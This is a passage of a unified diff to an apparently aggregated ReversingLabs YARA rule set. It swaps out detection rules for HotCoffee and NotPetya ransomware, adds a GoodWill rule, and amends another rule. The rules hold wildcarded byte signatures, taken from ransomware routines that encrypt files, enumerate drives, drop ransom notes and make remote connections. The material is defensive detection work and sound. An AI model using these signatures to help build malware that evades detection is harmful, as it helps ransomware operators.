+		$encrypt_files_aes = {
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 44 24
+            ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24
+            ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 74 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24
+            ?? ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? 83 C4 ?? C3 89 44 24 ?? 89 4C 24 ?? 8B 50 ??
+            89 0C 24 FF D2 8B 44 24 ?? 8B 4C 24 ?? 89 0C 24 8B 4C 24 ?? 89 4C 24 ?? 8B 4C 24 ??
+            89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24
+            ?? 8B 54 24 ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 8D 1D ?? ?? ?? ?? 89 5C 24 ?? C7 44
+            24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 89
+            1C 24 8B 5C 24 ?? 89 5C 24 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B
+            44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 54 24 ??
+            89 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24
+            ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 8B 5B ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ??
+            8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ??
+            89 2C 24 FF D3 8B 05 ?? ?? ?? ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44
+            24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 44 24 ?? 89
+            4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 C4 ?? C3 E8
         }
-		$drop_ransom_note = {
-            48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? BD ?? ?? ?? ?? 48 01 E8 48 8B 0D ?? ?? ??
-            ?? BE ?? ?? ?? ?? 48 01 F1 48 8B 15 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 01 FA FF D0 48 8B
-            0D ?? ?? ?? ?? 48 01 F1 48 8B 05 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 01 EA FF D2 48
-            8B 15 ?? ?? ?? ?? 48 01 F2 48 8B 8C 24 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 8B B6 ??
-            ?? ?? ?? 48 01 EE 48 C7 44 24 ?? ?? ?? ?? ?? 41 89 C0 4C 8D 4C 24 ?? FF D6 BE ?? ??
-            ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 41 BE ?? ??
-            ?? ?? 48 01 EA FF D2 BF ?? ?? ?? ?? 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ??
-            81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF
-            E0 8B 44 24 ?? 83 C0 ?? 89 44 24 ?? 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ??
-            81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF
-            E0 8B 4C 24 ?? B8 ?? ?? ?? ?? 01 C1 E9 ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ??
-            BD ?? ?? ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF E0 8B 4C 24 ?? B8 ?? ?? ?? ?? 01
-            C1 C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? BD ?? ??
-            ?? ?? 48 0F 44 D5 48 8B 04 10 4C 01 E0 FF E0 48 8B 05 ?? ?? ?? ?? 48 8B 88 ?? ?? ??
-            ?? 48 8B 05 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? 4C 01 F0 C7 44 24 ?? ?? ?? ?? ?? 48 8D
-            54 24 ?? 4C 8D 84 24 ?? ?? ?? ?? 4C 8D 4C 24 ?? FF D0 BF ?? ?? ?? ?? 8B 54 24 ?? B9
-            ?? ?? ?? ?? 01 CA 8B 4C 24 ?? BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ??
-            48 8B 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 31 C0 48 81
-            C4 ?? ?? ?? ?? 5B 5D 5F 5E 41 5C 41 5D 41 5E 41 5F C3
+		$encrypt_files_rsa = {
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 04 24
+            ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B
+            44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 48 ?? 8B 50 ?? 8B 40 ?? 89 0C 24 89 54 24 ?? 89
+            44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 75 ??
+            8D 15 ?? ?? ?? ?? 39 D0 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 04
+            24 89 54 24 ?? 89 4C 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24
+            ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C
+            24 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? 83 C4 ?? C3 C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 5C
+            24 ?? 83 C4 ?? C3 8D 05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 44 24 ?? C7 40 ?? ??
+            ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 75 ?? 8D 0D ?? ?? ?? ?? 89 08 C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 4C 24 ?? 89
+            44 24 ?? 83 C4 ?? C3 89 44 24 ?? 89 04 24 8D 0D ?? ?? ?? ?? 89 4C 24 ?? E8 ?? ?? ??
+            ?? 8B 44 24 ?? EB ?? 89 04 24 89 54 24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ??
+            ?? 0F 0B
         }
-
-	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($generate_key) and ($drop_ransom_note)
-}
-rule REVERSINGLABS_Win64_Ransomware_Hotcoffee : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects HotCoffee ransomware."
-		author = "ReversingLabs"
-		id = "11b26b91-96ae-58d3-8a8a-02a3e7d0b82e"
-		date = "2021-11-25"
-		modified = "2021-11-25"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.HotCoffee.yara#L1-L111"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "15ae428c37fcc5a09d324fd9be5a8df3a812e6459cb1ce8eec56eabf785b4c05"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "HotCoffee"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
 		$find_files = {
-            48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 48 0F 44 C6 BA ?? ?? ?? ?? 48 2B D0
-            48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48 03 C2 4C 8D 0D ?? ?? ??
-            ?? 4C 2B C9 0F 1F 44 00 ?? 48 85 C0 74 ?? 45 0F B7 04 09 66 45 85 C0 74 ?? 66 44 89
-            01 48 83 C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1 66 89 30
-            48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 95 ?? ?? ?? ?? 48 8D 44 24 ??
-            48 89 44 24 ?? 41 B8 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4C 8B 44 24 ?? BA ??
-            ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 44 24 ?? 48 8B 4C 24 ?? 48 3B
-            C8 74 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 66 39 30 74 ?? 48 83
-            C0 ?? 48 83 E9 ?? 75 ?? 48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 48 0F 44 C6
-            BA ?? ?? ?? ?? 48 2B D0 48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48
-            03 C2 4C 8D 0D ?? ?? ?? ?? 4C 2B C9 48 85 C0 74 ?? 45 0F B7 04 09 66 45 85 C0 74 ??
-            66 44 89 01 48 83 C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1
-            66 89 30 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 89
-            44 24 ?? 48 83 F8 ?? 75 ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 8D
-            ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48
-            83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0
-        }
-		$encrypt_files_p1 = {
-            B9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 90 66 83 38 ?? 74 ?? 48 83 C0 ?? 48 83 E9 ?? 75
-            ?? 48 85 C9 74 ?? 41 B8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 4C 2B C1 BA ?? ?? ?? ?? 48
-            85 C9 4C 0F 44 C3 4A 8D 04 40 49 2B D0 74 ?? 49 8D 88 ?? ?? ?? ?? 48 03 CA 4C 8D 0D
-            ?? ?? ?? ?? 4C 2B C8 66 90 48 85 C9 74 ?? 45 0F B7 04 01 66 45 85 C0 74 ?? 66 44 89
-            00 48 FF C9 48 83 C0 ?? 48 83 EA ?? 75 ?? 48 85 D2 48 8D 48 ?? 48 0F 45 C8 66 89 19
-            48 89 5C 24 ?? 45 33 C9 C7 44 24 ?? ?? ?? ?? ?? 44 8B C7 8B D7 C7 44 24 ?? ?? ?? ??
-            ?? 49 8B CC FF 15 ?? ?? ?? ?? 45 33 C9 48 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D
-            8D ?? ?? ?? ?? 44 8B C7 C7 44 24 ?? ?? ?? ?? ?? 48 8B F0 41 8D 51 ?? FF 15 ?? ?? ??
-            ?? 41 B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 33 D2 48 8D 0D ??
-            ?? ?? ?? 4C 8B F0 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 41 B9 ??
-            ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45
-        }
-		$encrypt_files_p2 = {
-            33 C0 BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B
-            15 ?? ?? ?? ?? 45 33 C9 48 8B 8D ?? ?? ?? ?? 44 8B C0 FF 15 ?? ?? ?? ?? 4C 8B 85 ??
-            ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 44 8B CF BA ?? ?? ?? ?? 48 89 44
-            24 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 32 DB 41 BD ?? ?? ?? ?? 48
-            8B F8 66 66 66 0F 1F 84 00 ?? ?? 00 00 4C 8D 8D ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ??
-            ?? 41 B8 ?? ?? ?? ?? 48 8B D7 48 8B CE FF 15 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ??
-            ?? 48 8D 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 44 24 ??
-            0F B6 DB 41 0F 42 DD 48 89 7C 24 ?? 44 0F B6 C3 45 33 C9 33 D2 FF 15 ?? ?? ?? ?? 44
-            8B 85 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 8B D7 48 C7 44 24 ?? ?? ?? ?? ?? 49 8B CE
-            FF 15 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 4C 8B 6C 24 ?? 48 85 F6 74 ?? 48 8B CE FF
-            15 ?? ?? ?? ?? 4D 85 F6
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 44 24
+            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ??
+            ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 44 24 ?? 89 04 24 8B 44 24 ?? 89 44
+            24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ??
+            ?? 8B 15 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 05 ?? ?? ?? ?? 8B 0D ??
+            ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 90 E8 ?? ?? ?? ?? 83
+            C4 ?? C3 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 E8
         }
-		$drop_ransom_note = {
-            48 85 C9 74 ?? B8 ?? ?? ?? ?? 48 2B C1 48 85 C9 49 0F 44 C6 BA ?? ?? ?? ?? 48 2B D0
-            48 8D 8D ?? ?? ?? ?? 48 8D 0C 41 74 ?? 48 05 ?? ?? ?? ?? 48 03 C2 4C 8D 0D ?? ?? ??
-            ?? 4C 2B C9 66 90 48 85 C0 74 ?? 46 0F B7 04 09 66 45 85 C0 74 ?? 66 44 89 01 48 83
-            C1 ?? 48 FF C8 48 83 EA ?? 75 ?? 48 8D 41 ?? 48 85 D2 48 0F 45 C1 66 44 89 30 4C 89
-            74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ??
-            ?? ?? 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 49 C7 C0 ?? ?? ?? ?? 49 FF C0
-            46 38 34 06 75 ?? 4C 89 74 24 ?? 4C 8D 8D ?? ?? ?? ?? 48 8B D6 48 8B CB FF 15 ?? ??
-            ?? ?? 48 85 DB 74 ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE E8 ?? ?? ?? ?? 90 48 8B 95
-            ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72
-            ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 33 F6 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 40 88 75 ?? 48
-            8B 95 ?? ?? ?? ?? 48 83 FA ?? 0F 82 ?? ?? ?? ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 8D ??
-            ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 48 83 C2 ?? 48 8B 49 ?? 48
-            2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 86 ?? ?? ?? ?? FF 15
+		$remote_connection_p1 = {
+            64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 04 24
+            ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D
+            05 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? C7 40 ?? ?? ?? ?? ??
+            8D 0D ?? ?? ?? ?? 89 0C 24 E8 ?? ?? ?? ?? 8B 44 24 ?? C6 40 ?? ?? 8B 0D ?? ?? ?? ??
+            8B 54 24 ?? 8D 5A ?? 85 C9 0F 85 ?? ?? ?? ?? 89 42 ?? 8D 05 ?? ?? ?? ?? 89 04 24 E8
+            ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8D 0D
+            ?? ?? ?? ?? 89 08 8B 0D ?? ?? ?? ?? 8D 50 ?? 85 C9 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 89
+            48 ?? C7 04 24 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B
+            44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24
+            ?? ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44
+            24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 E8 ?? ?? ?? ??
+            8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 48 ?? 8B 0D ?? ?? ?? ?? 85 C9 0F 85 ?? ?? ??
+            ?? 8B 4C 24 ?? 89 08 C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40
         }
-		$enum_drives = {
-            48 89 5D ?? 48 C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 8B F8 0F A3 DF 0F
-            83 ?? ?? ?? ?? 8D 4B ?? 48 C7 45 ?? ?? ?? ?? ?? 88 4D ?? 48 C7 45 ?? ?? ?? ?? ?? 66
-            C7 45 ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 3B 05 ?? ?? ?? ?? 74 ?? 48 8D 55 ?? 48 8B C8
-            E8 ?? ?? ?? ?? 48 83 05 ?? ?? ?? ?? ?? EB ?? 4C 8D 45 ?? 48 8B D0 48 8D 0D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 90 48 8B 45 ?? 48 83 F8 ?? 72 ?? 48 8D 50 ?? 48 8B 4D ?? 48 8B C1
-            48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ??
-            77 ?? E8 ?? ?? ?? ?? FF C3 83 FB ?? 0F 8C ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ??
-            E8 ?? ?? ?? ?? 90 33 C0 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 5C 24 ?? 49 8B 5B
-            ?? 49 8B 7B ?? 49 8B E3 5D C3 FF 15
+		$remote_connection_p2 = {
+            C7 04 24 ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B 4C 24
+            ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 4C
+            24 ?? 89 44 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? 8D 05 ?? ?? ??
+            ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C
+            24 ?? 8B 54 24 ?? 89 0C 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24
+            ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 89 0C
+            24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 75 ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3
+            8B 48 ?? 84 01 8B 40 ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? 8D 41 ?? 89 44 24 ?? E8 ??
+            ?? ?? ?? 85 C0 75 ?? EB ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 04 24 8B 4C 24 ?? 89 4C
+            24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? E9 ?? ?? ?? ?? 89 14 24 8B 44 24 ?? 89 44 24 ?? E8
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 90 E8
+            ?? ?? ?? ?? 83 C4 ?? C3 E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_drives) and ($find_files) and ( all of ($encrypt_files_p*)) and ($drop_ransom_note)
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_*)) and ( all of ($remote_connection_p*)) and ($drop_ransom_note)
 }
-rule REVERSINGLABS_Win32_Ransomware_Notpetya : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Goodwill : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects NotPetya ransomware."
+		description = "Yara rule that detects GoodWill ransomware."
 		author = "ReversingLabs"
-		id = "ea655048-4ef7-5dd7-872e-f1c2e38234cf"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "66358802-450b-5276-8088-b3550519b1e8"
+		date = "2022-06-28"
+		modified = "2022-06-28"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.NotPetya.yara#L1-L73"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "328f0e527fee2145879ee13c003d375db832f7f3eacf7a1eb303393c1c8b5a36"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.GoodWill.yara#L1-L89"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "94e2950f415ba737fe5ca9d32a3d850dd5744e547c4ca094ad28545e19033cb2"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -36174,304 +37602,64 @@ rule REVERSINGLABS_Win32_Ransomware_Notpetya : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "NotPetya"
+		tc_detection_name = "GoodWill"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
 		$encrypt_file = {
-            8B EC 83 EC ?? 53 56 57 33 F6 56 56 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ??
-            ?? ?? 8B F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 89
-            75 ?? 39 75 ?? 7C ?? B8 ?? ?? ?? ?? 7F ?? 39 45 ?? 76 ?? 89 45 ?? 8B D8 56 53 56 6A
-            ?? 56 57 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 74 ?? FF 75 ?? 56 56 6A ?? 50 FF 15 ?? ??
-            ?? ?? 8B F8 3B FE 74 ?? 53 8D 45 ?? 50 8B 45 ?? 57 56 FF 75 ?? 56 FF 70 ?? FF 15 ??
-            ?? ?? ?? 85 C0 74 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF
-            15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B C9 C2 ?? ?? 8B 45 ?? 89 45 ?? C1
-            E8 ?? 8D 58 ?? C7 45 ?? ?? ?? ?? ?? C1 E3 ?? E9
-        }
-		$main = {
-            55 8B EC 8B 45 ?? 53 56 8B 35 ?? ?? ?? ?? 57 BF ?? ?? ?? ?? 57 6A ?? BB ?? ?? ?? ??
-            53 83 C0 ?? 6A ?? 50 FF D6 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 57 6A
-            ?? 6A ?? EB ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? 6A ?? 53 8B 45 ?? 6A ?? 83 C0 ?? 50 FF D6
-            85 C0 74 ?? 8B 75 ?? 8B C6 E8 ?? ?? ?? ?? 85 C0 74 ?? 56 6A ?? 56 E8 ?? ?? ?? ?? 56
-            E8 ?? ?? ?? ?? FF 76 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 76 ?? FF 15 ?? ?? ?? ?? EB ?? 8B
-            75 ?? 56 FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 5D C2
-        }
-		$encryption_loop = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 83 7D ?? ?? 53 56 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? FF 75 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44
-            24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ??
-            ?? ?? 8B 1D ?? ?? ?? ?? 8B 75 ?? 8B 46 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24 ?? 66 8B 10
-            66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85
-            D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 44 24
-            ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83
-            C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ??
